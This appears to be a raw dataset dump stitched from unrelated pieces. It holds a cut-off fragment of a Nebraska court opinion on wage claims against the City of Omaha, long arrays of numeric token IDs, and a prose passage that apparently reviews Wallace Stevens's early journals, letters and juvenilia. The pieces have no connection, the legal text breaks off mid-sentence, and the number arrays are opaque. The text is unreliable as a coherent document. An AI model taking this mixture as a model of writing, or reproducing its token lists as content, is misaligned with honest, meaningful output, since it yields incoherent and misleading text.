N.W.2d 637 (2000). ANALYSIS TRIAL DE NOVO The City claims the district court erred in holding a trial de novo on plaintiffs' claims rather than applying the standard of review applicable to proceedings in error. Plaintiffs filed their claims against the City pursuant to and in compliance with § 14-804. The filing of a claim pursuant to § 14-804 is a procedural prerequisite to the prosecution of a wage claim against a city in the district court. Thompson v. City of Omaha, 235 Neb. 346, 455 N.W.2d 538 (1990). Appeal from a denial of a claim filed pursuant to § 14-804 is provided by § 14-813. This section provides in
[ 247, 2169, 11284, 323, 247, 2406, 359, 7164, 1821, 275, 253, 4311, 273, 6242, 937, 285, 4720, 13, 281, 253, 3426, 3552, 80, 344, 812, 873, 1066, 347, 2393, 347, 42791, 27, 187, 187, 42, 16575, 2868, 326, 387, 436, 1077, 2774, 309, 755, 5293, 273, 619, 7015, 41645, 3707, 432, 752, 310, 5061, 962, 728, 15, 380, 2389, 273, 10763, 43337, 10319, 15, 329, 9447, 1495, 310, 3365, 247, 6313, 23837, 27, 247, 3520, 13, 6255, 285, 16289, 2603, 273, 11284, 15, 2058, 253, 1072, 673, 352, 310, 271, 275, 13961, 1495, 281, 1421, 15, 733, 310, 247, 830, 273, 6891, 1255, 594, 2080, 347, 24835, 1456, 310, 7514, 15, 2596, 795, 18265, 64, 1056, 44488, 281, 2571, 28, 533, 627, 310, 1620, 247, 15504, 273, 924, 307, 7695, 6703, 24410, 15, 380, 760, 8542, 1495, 273, 253, 1533, 13, 347, 247, 637, 273, 253, 1533, 13, 417, 347, 247, 2499, 12734, 13, 247, 6724, 1250, 49146, 390, 47422, 13, 247, 6778, 14718, 1658, 382, 13, 247, 5729, 12844, 13, 247, 8081, 292, 390, 253, 751, 13, 533, 347, 247, 21501, 1981, 24230, 13, 247, 2583, 14, 11849, 11115, 13, 247, 15796, 13, 247, 18468, 310, 281, 320, 604, 46133, 247, 17927, 14, 40579, 404, 275, 253, 14562, 13, 247, 12524, 1436, 275, 3055, 1495, 15, 187, 187, 2598, 253, 3061, 13, 604, 440, 41694, 13, 556, 2168, 644, 1160, 1128, 936, 3153, 8746, 18260, 13, 347, 247, 346, 39176, 80, 14, 40579, 404, 937, 247, 346, 29706, 14, 11849, 11115, 3, 665, 310, 671, 346, 66, 12524, 1436, 275, 3055, 1495, 449, 795, 510, 2389, 273, 10763, 43337, 10319, 23338, 253, 3159, 346, 1257, 1920, 90, 3, 29141, 253, 1711, 14, 34979, 47921, 1128, 45222, 13, 11284, 13, 10763, 1128, 1615, 534, 22801, 6940, 285, 345, 1940, 2356, 521, 35240, 314, 915, 282, 285, 46698, 21765, 1533, 15, 380, 5249, 10165, 574, 2168, 644, 43997, 562, 407, 521, 3392, 275, 247, 4857, 3542, 4321, 281, 17330, 27, 346, 2214, 1495, 310, 2057, 247, 2469, 7909, 7156, 1128, 783, 7445, 273, 253, 492, 1301, 13, 390, 2221, 1136, 11634, 7773, 24718, 1128, 3980, 352, 310, 253, 4956, 7929, 314, 3600, 314, 2425, 273, 253, 36339, 665, 1056, 253, 1533, 38539, 285, 1805, 407, 616, 1146, 275, 352, 449, 187, 187, 510, 3626, 13016, 273, 6193, 661, 3928, 13, 352, 778, 320, 417, 1512, 43126, 4552, 281, 1333, 13, 4453, 33242, 1520, 285, 908, 285, 13, 604, 417, 26476, 7577, 13, 2581, 5284, 281, 2448, 2927, 15, 380, 8467, 28277, 19756, 16173, 13, 285, 253, 19607, 13, 342, 616, 439, 356, 4233, 6207, 2224, 13, 513, 1646, 49371, 264, 33430, 15, 380, 34642, 9193, 1014, 625, 8905, 1060, 685, 275, 1457, 5854, 13, 835, 271, 6944, 247, 48033, 31947, 352, 15, 21108, 13, 697, 38646, 871, 13, 310, 247, 47182, 1659, 15, 29250, 562, 327, 49031, 4383, 9241, 407, 7195, 24263, 13, 271, 2393, 4055, 273, 2448, 4491, 13, 26956, 407, 18024, 11072, 49357, 13, 285, 16248, 13, 275, 253, 3000, 273, 253, 34283, 3035, 12642, 20414, 7366, 3616, 1136, 3737, 13, 346, 328, 45580, 2136, 285, 9787, 11361, 3, 342, 247, 4112, 275, 247, 346, 5969, 17340, 2919, 937, 21108, 574, 275, 253, 1107, 672, 22801, 3260, 352, 1682, 247, 9979, 3282, 273, 3139, 347, 247, 795, 5070, 4414, 22801, 3260, 2994, 347, 247, 637, 273, 5053, 27, 346, 14660, 310, 271, 18830, 273, 952, 417, 273, 5053, 15, 1292, 323, 479, 1495, 310, 271, 18830, 273, 5053, 285, 326, 310, 253, 7596, 449, 496, 1635, 281, 253, 4891, 346, 45854, 3, 25258, 2331, 4182, 35957, 327, 253, 8660, 19708, 1507, 13, 521, 346, 23963, 6149, 3, 39433, 22801, 342, 247, 1966, 3753, 326, 369, 10237, 13, 3110, 13, 14211, 13, 285, 1547, 11303, 15, 187, 187, 2347, 1199, 22450, 344, 3058, 281, 3324, 521, 17714, 281, 14818, 539, 476, 320, 2326, 432, 253, 7166, 1261, 21829, 326, 521, 6122, 1060, 41084, 285, 2958, 6419, 15, 3032, 23252, 6376, 20962, 715, 521, 20960, 2890, 15, 11474, 627, 403, 41483, 273, 8847, 3295, 275, 690, 273, 521, 31454, 25443, 1128, 187, 187, 1542, 275, 253, 269, 1808, 309, 3047, 253, 5101, 187, 187, 12864, 3289, 1411, 253, 372, 88, 28, 253, 298, 1031, 3168, 187, 187, 18412, 2602, 285, 3676, 387, 34927, 28, 253, 687, 84, 552, 187, 187, 8093, 264, 6593, 247, 4956, 44221, 715, 253, 1708, 1128, 187, 187, 783, 39236, 403, 7099, 2205, 44179, 285, 253, 17082, 480, 272, 1981, 28, 275, 1457, 2816, 344, 11323, 690, 43195, 795, 348, 2610, 9141, 466, 64, 281, 3599, 48188, 434, 14348, 29909, 371, 1507, 533, 32751, 253, 7189, 316, 273, 13882, 28705, 281, 253, 39931, 273, 521, 3551, 273, 21518, 2363, 13, 534, 3133, 281, 3522, 313, 284, 858, 2604, 26202, 434, 10, 432, 521, 3101, 434, 2471, 13, 275, 32295, 15, 754, 4159, 281, 3599, 48188, 275, 34283, 13, 346, 42, 717, 2080, 432, 1146, 247, 21242, 1128, 395, 1364, 10725, 327, 1892, 285, 21738, 789, 449, 831, 3133, 16453, 28, 533, 344, 369, 5604, 2080, 432, 3509, 49514, 15, 3032, 795, 13804, 12299, 13536, 24461, 64, 9021, 13, 2167, 597, 49307, 8140, 26526, 253, 27392, 90, 33605, 273, 3563, 14, 35419, 757, 16053, 13, 275, 642, 1039, 7170, 253, 2165, 28, 5727, 13, 3578, 1107, 1996, 13, 308, 15, 322, 15, 45773, 13, 1907, 6888, 3905, 1542, 25070, 285, 42753, 323, 2994, 13, 369, 15979, 281, 253, 795, 26256, 24461, 64, 25443, 5550, 2302, 291, 321, 570, 937, 346, 52, 713, 257, 2807, 326, 403, 973, 327, 253, 1039, 281, 346, 49, 579, 71, 16249, 449, 187, 187, 18291, 2167, 22801, 369, 3468, 281, 1089, 521, 4318, 13, 3468, 281, 1056, 521, 806, 4849, 13, 285, 1014, 17357, 281, 1056, 521, 1273, 313, 795, 42317, 284, 273, 9700, 64, 1157, 275, 27386, 582, 344, 6940, 1048, 2217, 281, 18045, 841, 16063, 569, 1561, 271, 24904, 258, 70, 38527, 13, 273, 16122, 2938, 1371, 28, 521, 11010, 528, 3563, 10575, 327, 9425, 3606, 16876, 9287, 441, 273, 31540, 15, 754, 4546, 327, 285, 327, 13, 285, 275, 253, 990, 1912, 512, 253, 35186, 15, 3032, 3367, 31640, 1119, 2393, 2048, 275, 5006, 3639, 11916, 982, 285, 819, 3107, 15, 346, 42, 369, 33048, 247, 4194, 6421, 937, 344, 8599, 3599, 48188, 275, 247, 4857, 15, 496, 2872, 637, 3639, 13, 344, 40809, 2994, 715, 10488, 14, 25430, 16771, 2112, 253, 38907, 13, 638, 37771, 4252, 13939, 273, 11637, 13, 1457, 2816, 13, 285, 1457, 8911, 15, 8174, 967, 281, 521, 29210, 13, 24807, 13, 5412, 1930, 627, 369, 1633, 2049, 800, 285, 598, 287, 37993, 13, 534, 4469, 3139, 275, 16422, 342, 4181, 285, 8588, 15, 496, 36754, 13, 12930, 281, 3599, 48188, 247, 2940, 281, 13629, 434, 308, 4894, 327, 247, 8986, 1388, 13, 344, 12013, 13, 346, 1147, 369, 22878, 314, 5412, 1128, 2577, 3564, 497, 37653, 342, 352, 15, 1292, 253, 2329, 21986, 715, 441, 751, 1708, 715, 13862, 449, 380, 2460, 310, 6313, 36353, 13, 285, 6313, 32225, 13, 273, 247, 3686, 15, 22801, 3249, 387, 441, 13, 275, 253, 14242, 25443, 13, 3034, 8036, 13, 2120, 273, 11213, 1771, 13, 1670, 2158, 432, 11482, 360, 342, 38355, 14505, 5550, 2302, 23443, 360, 13, 1621, 322, 412, 13, 1621, 308, 20264, 937, 346, 2598, 14, 395, 14, 2598, 1720, 498, 1699, 327, 4058, 330, 9764, 937, 346, 34, 49092, 18296, 275, 253, 28214, 937, 346, 41676, 2516, 285, 253, 8247, 14, 34, 1962, 937, 3966, 2698, 285, 275, 253, 5893, 33737, 285, 25333, 29977, 2272, 594, 10084, 17421, 253, 29428, 641, 273, 521, 30318, 27, 41324, 187, 187, 8816, 292, 13, 320, 22813, 387, 253, 18542, 187, 187, 21020, 253, 1246, 13, 697, 288, 3288, 14, 1689, 80, 14, 1689, 80, 13, 187, 187, 27132, 439, 3288, 14, 1200, 3288, 14, 1200, 3288, 13, 697, 15438, 14, 66, 14, 695, 13, 187, 187, 27132, 546, 3391, 260, 607, 2966, 318, 15, 187, 187, 6812, 14941, 369, 1925, 2790, 275, 21108, 285, 26411, 387, 17330, 285, 369, 594, 2120, 273, 794, 326, 13, 2190, 643, 12870, 3355, 13, 344, 369, 10145, 13, 1223, 346, 25525, 314, 6195, 937, 275, 521, 1390, 807, 273, 6831, 13, 273, 346, 1136, 28590, 480, 729, 1365, 326, 344, 369, 1469, 281, 16773, 3, 247, 3343, 560, 28, 6296, 13, 344, 858, 37210, 282, 617, 281, 253, 5254, 15, 1623, 253, 1735, 3239, 273, 795, 52, 276, 1261, 19384, 285, 15552, 248, 11818, 64, 359, 1239, 326, 671, 1078, 6108, 17330, 344, 5262, 271, 7237, 342, 6086, 18056, 333, 3230, 13, 16585, 616, 40522, 37321, 327, 752, 1646, 281, 452, 644, 2426, 273, 13919, 15, 754, 4159, 247, 19361, 281, 18056, 333, 3230, 13719, 1107, 1996, 13, 285, 6376, 1900, 14211, 281, 253, 29875, 434, 1437, 323, 1128, 249, 247, 12616, 432, 253, 19361, 12012, 783, 17155, 40994, 1896, 449, 22801, 612, 249, 758, 22964, 281, 1142, 1841, 1128, 936, 521, 4475, 13, 2167, 1014, 387, 253, 35681, 703, 5420, 346, 3062, 390, 1679, 440, 48200, 494, 937, 285, 281, 253, 43839, 8874, 888, 708, 2102, 24551, 414, 6487, 13, 323, 534, 344, 5188, 2149, 4829, 14327, 1107, 13, 973, 2469, 253, 2363, 273, 15072, 15, 380, 8933, 7957, 1255, 273, 521, 638, 20774, 569, 310, 5183, 407, 253, 4294, 342, 534, 6698, 12028, 273, 521, 8920, 403, 32457, 275, 25443, 8007, 1996, 15, 6975, 247, 11637, 24718, 13, 344, 13598, 521, 36982, 486, 285, 4307, 352, 13, 2952, 846, 2952, 15, 1284, 17353, 1342, 434, 40522, 2425, 369, 247, 5415, 18520, 285, 7466, 273, 795, 4015, 3465, 273, 33905, 64, 1157, 594, 352, 2761, 369, 342, 22801, 285, 795, 41, 1513, 37583, 64, 1905, 8701, 4081, 4060, 323, 253, 5728, 25443, 369, 795, 510, 31373, 273, 29442, 37583, 4414, 32761, 512, 13, 344, 369, 14211, 281, 253, 828, 10966, 366, 22086, 273, 6239, 344, 4447, 1078, 436, 5331, 3407, 27, 346, 2513, 6239, 1663, 247, 8761, 32, 2615, 368, 2014, 352, 562, 13, 390, 1364, 368, 1339, 352, 7617, 275, 368, 323, 3139, 32, 309, 452, 3413, 2220, 581, 2181, 13, 285, 326, 310, 417, 281, 795, 14626, 64, 281, 4176, 13098, 3707, 4266, 449, 187, 187, 8389, 6122, 556, 2011, 22964, 275, 1614, 407, 7552, 617, 3392, 434, 8121, 15, 831, 310, 253, 2626, 4644, 326, 703, 556, 2326, 715, 2315, 28, 253, 767, 2571, 403, 253, 795, 1466, 1336, 273, 25458, 22801, 64, 313, 28355, 10, 285, 253, 13950, 1497, 795, 510, 30193, 387, 253, 8072, 273, 253, 18296, 64, 313, 23482, 481, 1500, 10316, 281, 617, 39513, 2458, 1456, 247, 2389, 285, 1557, 625, 685, 41023, 13, 285, 275, 436, 4227, 556, 574, 281, 10242, 247, 1039, 273, 15250, 617, 945, 25362, 456, 13, 42283, 2144, 15, 795, 52, 276, 1261, 19384, 285, 15552, 248, 11818, 64, 310, 271, 11555, 1984, 12012, 66, 11098, 3007, 318, 937, 581, 1537, 1333, 13, 32249, 253, 1386, 846, 253, 1386, 275, 346, 510, 1176, 264, 757, 347, 253, 23488, 330, 3, 432, 534, 253, 4060, 310, 2668, 27, 187, 187, 1328, 13, 3103, 13, 4159, 521, 354, 1851, 4034, 66, 13, 187, 187, 1898, 13, 1146, 2120, 273, 253, 1729, 23804, 13, 275, 31509, 187, 187, 2115, 3987, 1070, 18155, 1261, 19384, 285, 26524, 11818, 15, 187, 187, 1328, 1160, 247, 11098, 3007, 318, 15, 187, 187, 34571, 34406, 4543, 13950, 1497, 13, 436, 4644, 1128, 23714, 342, 10381, 36470, 434, 23639, 34081, 273, 22801, 13, 285, 247, 26259, 7285, 281, 795, 12535, 316, 5779, 18256, 528, 64, 1157, 16168, 407, 20628, 5112, 43542, 1128, 405, 4303, 22294, 2366, 22801, 434, 638, 14, 746, 1010, 25443, 13, 512, 273, 253, 24331, 326, 16139, 253, 19796, 1499, 3834, 597, 2959, 13, 253, 10713, 273, 22801, 434, 4876, 281, 521, 4475, 2720, 281, 616, 2118, 281, 43839, 13, 247, 1652, 273, 521, 31454, 285, 6698, 2531, 36045, 13, 285, 824, 1794, 15553, 5441, 285, 19704, 980, 347, 497, 14320, 9371, 15, 496, 841, 1390, 767, 9050, 13, 359, 5730, 323, 625, 15, 22801, 434, 36045, 269, 4504, 598, 1048, 1078, 521, 16053, 13, 285, 359, 1537, 452, 10490, 281, 1239, 13, 432, 253, 795, 26256, 24461, 64, 1157, 253, 346, 30786, 299, 24763, 2926, 273, 247, 2872, 637, 665, 3936, 247, 10440, 273, 521, 49541, 281, 320, 29318, 28, 846, 352, 310, 2218, 285, 344, 13279, 253, 5522, 13, 344 ]	a higher pleasure for a lower we raise men in the scale of existence," and finally, to the complete credo he could set down as early as 1899: I thoroughly believe that at this very moment I get none of my chief pleasures except from what is unsullied. The love of beauty excludes evil. A moral life is simply a pure conscience: a physical, mental and ethical source of pleasure. At the same time it is an inhuman life to lead. It is a form of narrowness so far as companionship is concerned. One _must_ make concessions to others; but there is never a necessity of smutching inner purity. The only practical life of the world, as a man of the world, not as a University Professor, a Retired Farmer or Citizen, a Philanthropist, a Preacher, a Poet or the like, but as a bustling merchant, a money-making lawyer, a soldier, a politician is to be if unavoidable a pseudo-villain in the drama, a decent person in private life. So the decision, if untested, has already been made—to live dualistically, as a "pseudo-villain," a "money-making lawyer" who is also "a decent person in private life." _The love of beauty excludes evil:_ the word "beauty" completes the old-fashioned trilogy—ideal, pleasure, beauty—by which Stevens lived and concocted his astonishingly supple and prolific verbal world. The career choices had already been spelled out by his father in a letter written earlier to Harvard: "For life is either a pastoral dream—the ideal of the tramp, or superannuated village farmer—Or it is the wild hurly burly activity of the fellows who make the world richer and better by their being in it." The natural landscape of Berks County, it may be not too fanciful to say, looks nurtured and used and, if not Arcadian, rather European to American eyes. The sky seldom lacks clouds, and the hills, with their shaggy crowns, do seem subdued giants. The frontier feels even more remote here than in New England, where an underlying austerity remembers it. Reading, its natives know, is a civilized place. Laid out on tidy English principles by Thomas Penn, an early center of American industry, populated by skilled craftsmen, and combining, in the words of the 1911 Encyclopaedia Britannica, "unusual business and industrial advantages" with a situation in a "rich agricultural region," Reading had in the years when Stevens knew it best a proud sense of itself as a _place_. Stevens knew himself as a man of places: "Life is an affair of people not of places. But for me life is an affair of places and that is the trouble." In addition to the solid "Dutch" physiognomy pictured on the dust jackets, his "native earth" endowed Stevens with a human nature that was robust, patient, loyal, and humorous. How much patience he needed to bring his gifts to fruition can be seen from the juvenilia that his daughter here collects and publishes. His verse remained juvenile into his thirties. Though there are flashes of characteristic color in some of his undergraduate poems— for in the fern I saw the sun Take fire against the dew; the lily white Was soft and deep at morn; the rosary Streamed forth a wild perfume into the light— the sentiments are Henleyesque and the metrics jingling; in New York he adds some fashionable _chinoiserie_ to Elsie's birthday bouquets but retains the incubus of rhyme to the verge of his coming of artistic age, which seems to date (as did Proust's) from his mother's death, in 1912. He wrote to Elsie in 1911, "I am far from being a genius—and must rely on hard and faithful work." This seems modest; but he was certainly far from precocious. His _Harvard Advocate_ contributions, though they conscientiously manipulate the glossy counters of late-Victorian poetry, in no way advance the game; whereas, ten years later, T. S. Eliot, having discovered Laforgue and Dante for himself, was contributing to the _Advocate_ poems ("Nocturne," "Spleen") that are well on the way to "Prufrock." Yet though Stevens was slow to find his voice, slow to make his first collection, and even slower to make his second ( _Ideas of Order_, in 1936), he lived long enough to accommodate these hesitations within an ample oeuvre, of expanding fluency; his joyous late variations on mastered themes remind us of Bach. He played on and on, and in the end won all the prizes. His personal robustness found early expression in boyhood athletics and pranks. "I was distinctly a rowdy," he tells Elsie in a letter. In young manhood, he flung himself into thirty-mile walks along the dusty, preautomobile roads of Pennsylvania, New York, and New Jersey. Joined to his reflective, deliberate, cold side there was something combative and uproarious, which expressed itself in contention with distance and weather. In 1908, describing to Elsie a walk to Grant's Tomb on a winter day, he writes, "It was beastly cold—my hands were swollen with it. But the air poured into us like light into darkness." The image is pure Plato, and pure lust, of a sort. Stevens comes at us, in the mature poems, tumbling, full of foolery, veering from decorum with outrageous titles ("No Possum, No Sop, No Taters," "So-and-So Reclining on Her Couch," "A Weak Mind in the Mountains," "Saint John and the Back-Ache," etc.) and in the animal noises and nonsense syllables so surprising amid the splendors of his vocabulary:‡ Poet, be seated at the piano Play the present, its hoo-hoo-hoo, Its shoo-shoo-shoo, its ric-a-ric, Its envious cachinnation. Stevens was called Pat in Reading and Pete at Harvard and was so full of fun that, among other escapades, he was accused, while "fairly lit," in his last year of college, of "announcing jovially that he was going to rape" a waitress; indeed, he did topple her to the floor. On the next page of _Souvenirs and Prophecies_ we read that also before leaving Harvard he spent an evening with George Santayana, discussing their poetic ambitions on what seem to have been terms of equality. He wrote a poem to Santayana fifty years later, and remained always loyal to the philosopher's quest for—in a phrase from the poem—"the celestial possible." Stevens evinced loyalty to many things—to his wife, though even at the outset she appeared "more or less unmanageable," and to the Hartford Accident & Indemnity Company, for which he labored nearly forty years, well past the age of retirement. The steadfastness of his preoccupations is demonstrated by the frequency with which journal entries of his youth are echoed in poems decades later. Like a Pennsylvania farmer, he occupied his acreage and worked it, season after season. As Whitman's poetic activity was a continuous revision and expansion of _Leaves of Grass_, so it almost was with Stevens and _Harmonium_ —his proposed title for the collected poems was _The Whole of Harmonium_. Above all, he was loyal to the inviolate conception of literature he formed before this century began: "Is literature really a profession? Can you single it out, or must you let it decide in you for itself? I have determined upon one thing, and that is not to _try_ to suit anybody except myself." His daughter has shown loyalty in turn by becoming her father's editor. This is the third volume that she has seen into press; the two others are the _Letters of Wallace Stevens_ (1966) and the anthology _The Palm at the End of the Mind_ (1972). She brings to her custodianship a love and care more than scholarly, and in this instance has had to invent a way of presenting her variegated, fragmented material. _Souvenirs and Prophecies_ is an unusual book—"a singular collation," one might say, quoting the line after the line in "The Comedian as the Letter C" from which the title is taken: He, therefore, wrote his prolegomena, And, being full of the caprice, inscribed Commingled souvenirs and prophecies. He made a singular collation. Neither biography nor anthology, this volume—uniform with Knopf's handsome editions of Stevens, and a balancing opposite to _Opus Posthumous_, edited by Samuel French Morse—essentially binds together Stevens's pre-1915 poems, all of the journals that survived the mysterious slashing they received, the bulk of Stevens's letters to his wife prior to their move to Hartford, a little of his undergraduate and journalistic prose, and such biographical facts and conjectures as were deemed helpful. In these last two categories, we wish for more. Stevens's prose firmed up long before his poetry, and we might have liked to read, from the _Advocate_, the "rather eerie story of a young man who takes a photograph of his sweetheart to be framed; after it is done and he opens the package, he
[ 253, 1563, 7605, 1783, 13, 12014, 281, 1254, 35, 1619, 14, 8751, 14, 1036, 14, 11494, 1099, 1656, 27234, 247, 14923, 14299, 3268, 13, 359, 2797, 247, 5281, 4764, 370, 81, 393, 9887, 337, 5, 970, 253, 1332, 2529, 275, 1254, 35, 1630, 14, 8751, 14, 1036, 14, 11494, 1099, 5413, 7809, 326, 253, 42435, 452, 247, 3905, 43917, 3268, 15, 831, 1491, 588, 320, 2007, 28734, 275, 544, 12612, 608, 1084, 1704, 22, 14, 8751, 14, 1036, 14, 11494, 1099, 910, 709, 14, 881, 568, 1704, 7129, 187, 187, 21, 15, 26372, 273, 9405, 46781, 1712, 1704, 21, 14, 8751, 14, 1036, 14, 11494, 1099, 94, 187, 32640, 187, 187, 1231, 5467, 326, 253, 8609, 985, 323, 14156, 49927, 476, 320, 23115, 949, 247, 23507, 6779, 15, 380, 1921, 310, 326, 352, 476, 320, 2783, 247, 1781, 2605, 342, 6447, 3268, 3276, 13, 835, 19322, 3511, 46781, 778, 12893, 275, 1083, 273, 29491, 4433, 2470, 2841, 337, 1084, 8751, 14, 1036, 14, 11494, 1099, 14, 71, 2874, 910, 709, 14, 881, 568, 926, 2536, 6915, 247, 19034, 4315, 669, 2407, 92, 37, 94, 393, 249, 1926, 1991, 92, 51, 9496, 78, 393, 3181, 295, 724, 326, 4428, 475, 79, 11, 21841, 2460, 10917, 275, 253, 9930, 669, 1274, 6921, 393, 1274, 15, 277, 578, 74, 94, 393, 918, 12499, 393, 918, 15, 578, 75, 426, 337, 1990, 79, 3303, 247, 8609, 2460, 669, 2407, 92, 71, 94, 393, 249, 1926, 1991, 92, 51, 9496, 78, 724, 476, 320, 6607, 407, 23507, 4872, 13553, 273, 253, 19034, 10917, 13, 347, 2011, 275, 20860, 313, 22, 10, 1254, 35, 1717, 14, 8751, 14, 1036, 14, 11494, 1099, 1184, 27, 1764, 2407, 92, 71, 94, 426, 393, 2407, 92, 37, 889, 2407, 464, 1637, 14640, 835, 253, 4972, 669, 2407, 464, 1637, 94, 393, 249, 1926, 1991, 92, 51, 9496, 79, 724, 4428, 253, 10303, 15, 5815, 13112, 310, 253, 8609, 2460, 273, 253, 2644, 2605, 672, 760, 581, 1896, 4250, 2603, 310, 3939, 387, 247, 673, 15, 496, 436, 6779, 1401, 2141, 424, 310, 23507, 13, 891, 15, 70, 904, 352, 310, 8025, 281, 3831, 6571, 33303, 15, 380, 6779, 273, 1401, 71, 424, 778, 2057, 320, 3242, 1401, 71, 424, 426, 1401, 37, 2141, 424, 390, 16851, 370, 71, 393, 9887, 5, 1401, 37, 2141, 8200, 14127, 20860, 313, 23, 10, 1254, 35, 1717, 14, 8751, 14, 1036, 14, 11494, 1099, 1184, 27, 1764, 19783, 393, 2407, 92, 71, 94, 428, 393, 2407, 92, 37, 889, 2407, 464, 1637, 94, 393, 19783, 578, 81, 889, 50276, 61, 3040, 393, 9501, 464, 4259, 14640, 835, 669, 9501, 464, 4259, 724, 310, 253, 5927, 12541, 2228, 6799, 13, 285, 370, 81, 5, 310, 253, 5222, 908, 323, 10499, 253, 11254, 15, 544, 2841, 854, 1084, 8751, 14, 1036, 14, 11494, 1099, 14, 71, 8897, 910, 709, 14, 881, 568, 926, 986, 2722, 271, 1650, 273, 253, 23507, 6779, 273, 271, 6979, 985, 970, 247, 19034, 15, 496, 436, 1650, 13, 247, 5019, 273, 1264, 10917, 273, 253, 19034, 1401, 37, 424, 369, 908, 281, 830, 253, 2460, 1401, 71, 424, 1254, 35, 1717, 14, 8751, 14, 1036, 14, 11494, 1099, 2947, 35, 1229, 14, 8751, 14, 1036, 14, 11494, 1099, 1656, 187, 187, 1231, 4270, 247, 19034, 273, 3511, 46781, 949, 9864, 970, 253, 8610, 45136, 31743, 313, 2115, 18989, 13, 38476, 13, 16842, 10, 10796, 73, 656, 982, 4968, 15, 496, 253, 9938, 13, 359, 2783, 253, 3520, 3607, 273, 253, 4753, 13, 12087, 285, 3126, 7548, 2515, 15, 5815, 13112, 369, 4561, 7296, 253, 1899, 273, 253, 11623, 1972, 275, 1016, 5340, 15, 1284, 253, 21841, 556, 4791, 10855, 387, 608, 7892, 1029, 13, 285, 655, 6887, 323, 5052, 13, 7296, 337, 13112, 323, 1016, 337, 7892, 13, 359, 4561, 5922, 1099, 10917, 313, 1671, 6806, 608, 6806, 655, 10, 281, 1566, 253, 985, 15, 4129, 436, 6779, 273, 337, 7892, 1543, 275, 247, 1781, 1180, 273, 10917, 13, 352, 369, 3309, 281, 17029, 3511, 46781, 342, 625, 7899, 10103, 13, 671, 13538, 12420, 3237, 273, 253, 8468, 12692, 15, 3932, 253, 2264, 1979, 273, 253, 2460, 25597, 6806, 1052, 7892, 13, 253, 4972, 2978, 273, 1016, 13112, 310, 7609, 13, 10695, 13, 9046, 247, 19034, 4315, 1401, 37, 424, 273, 7609, 13, 10695, 6806, 5922, 1099, 15, 187, 187, 510, 9930, 273, 253, 19034, 4315, 13, 390, 10917, 13, 497, 4447, 407, 253, 3276, 3268, 2193, 4561, 407, 1612, 273, 337, 411, 16, 3591, 63, 20, 63, 3732, 281, 247, 5052, 273, 608, 7892, 275, 1016, 1899, 2112, 253, 10855, 13, 7296, 11792, 1375, 15, 844, 873, 253, 5052, 273, 608, 7892, 347, 247, 5927, 1617, 13, 984, 273, 253, 5340, 10103, 285, 10183, 275, 970, 25784, 11623, 1972, 342, 2406, 2978, 15, 1723, 13, 253, 3276, 941, 310, 19958, 1046, 337, 7892, 323, 9046, 10917, 13, 347, 5544, 275, 253, 2045, 12494, 15, 3308, 13, 253, 4972, 1401, 2141, 424, 6125, 253, 2193, 273, 253, 8609, 1612, 326, 6635, 253, 3511, 46781, 275, 253, 2605, 15, 3813, 13, 407, 26230, 1401, 2141, 26359, 359, 4044, 253, 4328, 285, 253, 2408, 273, 8609, 1612, 326, 5997, 1016, 3511, 17166, 15, 544, 2841, 898, 1084, 8751, 14, 1036, 14, 11494, 1099, 14, 71, 8972, 910, 709, 14, 881, 568, 926, 986, 66, 2722, 4278, 273, 253, 17489, 12087, 908, 275, 253, 9938, 13, 285, 544, 2841, 898, 1084, 8751, 14, 1036, 14, 11494, 1099, 14, 71, 8972, 910, 709, 14, 881, 568, 926, 986, 67, 2722, 253, 3276, 3268, 323, 2264, 1612, 273, 337, 411, 16, 3591, 63, 20, 63, 387, 3436, 11758, 36, 18509, 3276, 13, 275, 11792, 1375, 15, 380, 1543, 921, 247, 7629, 273, 374, 15, 3763, 11758, 36, 342, 11052, 3276, 273, 370, 70, 2497, 1269, 16, 1857, 3303, 835, 370, 89, 5, 310, 253, 4181, 432, 253, 4250, 2603, 15, 831, 11052, 1159, 310, 247, 36833, 4944, 273, 253, 10704, 9938, 13, 534, 369, 908, 281, 11990, 253, 5140, 273, 253, 19034, 15, 380, 2898, 273, 253, 19034, 1401, 37, 424, 275, 253, 2460, 14433, 5933, 310, 5469, 275, 625, 2508, 275, 544, 12612, 608, 1084, 1704, 22, 14, 8751, 14, 1036, 14, 11494, 1099, 910, 709, 14, 881, 568, 1704, 7129, 187, 187, 22, 15, 33034, 1720, 11682, 29088, 1712, 1704, 22, 14, 8751, 14, 1036, 14, 11494, 1099, 94, 187, 4578, 16536, 187, 187, 6407, 13, 7296, 253, 5044, 1566, 273, 2460, 14433, 3762, 13, 253, 11931, 985, 476, 320, 6607, 407, 20860, 313, 24, 10, 1254, 35, 1423, 14, 8751, 14, 1036, 14, 11494, 1099, 1184, 27, 1764, 2407, 92, 72, 94, 426, 393, 2407, 92, 41, 71, 94, 559, 393, 2407, 92, 79, 14640, 835, 669, 2407, 92, 72, 724, 310, 247, 4972, 4447, 407, 399, 6901, 28799, 13, 669, 2407, 92, 41, 724, 310, 253, 7340, 4315, 13, 669, 2407, 92, 71, 724, 310, 247, 4972, 9999, 253, 3276, 3268, 275, 49927, 2553, 13, 285, 1401, 79, 424, 310, 247, 4972, 9999, 512, 4973, 273, 21842, 6046, 15, 24258, 326, 253, 8609, 2460, 556, 247, 23507, 6779, 275, 253, 8818, 19034, 13, 253, 11931, 985, 476, 320, 35993, 40944, 20860, 313, 22, 10, 715, 20860, 313, 24, 582, 347, 2011, 275, 20860, 313, 25, 10, 1254, 35, 1423, 14, 8751, 14, 1036, 14, 11494, 1099, 1184, 27, 1764, 2407, 92, 72, 94, 426, 393, 2407, 92, 10536, 889, 2407, 464, 1637, 94, 559, 393, 2407, 92, 79, 10878, 187, 187, 1909, 2011, 275, 544, 2841, 721, 1084, 8751, 14, 1036, 14, 11494, 1099, 14, 71, 7174, 910, 709, 14, 881, 568, 926, 4982, 253, 399, 6901, 346, 1033, 38387, 3, 253, 27354, 13, 534, 310, 247, 8847, 273, 1698, 14, 5858, 2718, 15, 831, 310, 15786, 715, 271, 2853, 14, 42743, 273, 4315, 1401, 41, 12530, 3308, 13, 253, 27930, 273, 253, 3276, 3268, 407, 2969, 27697, 273, 20860, 313, 25, 10, 11026, 1029, 6046, 17442, 13, 11365, 4105, 1543, 1254, 35, 1797, 14, 8751, 14, 1036, 14, 11494, 1099, 1656, 831, 1895, 4419, 37820, 13, 534, 10308, 4219, 253, 14433, 285, 19132, 253, 1543, 15, 4129, 253, 19034, 556, 644, 4270, 342, 253, 3511, 46781, 273, 337, 7892, 281, 3157, 6779, 13, 359, 3264, 731, 281, 2826, 342, 608, 7892, 390, 625, 313, 2887, 544, 2841, 